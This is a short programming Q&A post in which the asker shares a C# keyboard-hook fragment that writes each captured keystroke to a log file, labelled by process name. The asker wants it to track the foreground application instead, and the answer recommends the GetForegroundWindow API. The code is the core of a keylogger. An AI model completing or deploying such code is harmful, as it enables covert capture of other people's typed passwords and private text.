How to get the current process that the user is using?

0

I made a program to get the current user process, but only what it takes is " ConsoleApplication1.vshost "( ConsoleApplication1 is the name of the program), even in windows like Google Chrome, etc. Code:

Process process = Process.GetCurrentProcess();
int vkCode = Marshal.ReadInt32(lParam);
StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
process = Process.GetCurrentProcess();
if (x == process.ProcessName)
    sw.Write((Keys)vkCode);
else
{
    x = process.ProcessName;
    sw.Write("\n{0}", x);
}
sw.Close();

Am I doing this the wrong way? How can I get the current process that the user is using right?

    
asked by anonymous 06.05.2017 / 03:55

1 answer

0

Yes. Yes.

To recover the active process (in use) you should get the window in focus.

For this you should use the GetForegroundWindow API .

From the HWND returned by this API you are able to retrieve the name of the process to which this window belongs.

    
06.05.2017 / 03:58